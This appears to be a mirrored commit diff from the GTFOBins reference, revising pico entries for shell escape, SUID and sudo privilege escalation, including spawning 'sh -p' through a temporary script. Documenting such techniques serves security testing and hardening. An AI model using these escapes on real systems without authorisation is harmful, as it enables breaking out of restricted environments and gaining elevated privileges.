mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 00:38:54 +01:00 
			
		
		
		
	Improve pico shell, suid, and sudo
This commit is contained in:
		| @@ -2,10 +2,8 @@ | |||||||
| functions: | functions: | ||||||
|   shell: |   shell: | ||||||
|     - code: | |     - code: | | ||||||
|         TF=$(mktemp) |         pico -s /bin/sh | ||||||
|         echo 'exec sh' > $TF |         /bin/sh | ||||||
|         chmod +x $TF |  | ||||||
|         pico -s $TF /etc/hosts |  | ||||||
|         ^T |         ^T | ||||||
|   file-write: |   file-write: | ||||||
|     - code: | |     - code: | | ||||||
| @@ -17,15 +15,14 @@ functions: | |||||||
|   suid: |   suid: | ||||||
|     - code: | |     - code: | | ||||||
|         TF=$(mktemp) |         TF=$(mktemp) | ||||||
|         echo 'exec sh -p' > $TF |         echo '#!/bin/sh -p | ||||||
|  |         exec sh -p' > $TF | ||||||
|         chmod +x $TF |         chmod +x $TF | ||||||
|         ./pico -s $TF /etc/hosts |         ./pico -s $TF /etc/hosts | ||||||
|         ^T |         ^T | ||||||
|   sudo: |   sudo: | ||||||
|     - code: | |     - code: | | ||||||
|         TF=$(mktemp) |         pico -s /bin/sh | ||||||
|         echo 'exec sh' > $TF |         /bin/sh | ||||||
|         chmod +x $TF |  | ||||||
|         sudo pico -s $TF /etc/hosts |  | ||||||
|         ^T |         ^T | ||||||
| --- | --- | ||||||
|   | |||||||
		Reference in New Issue
	
	Block a user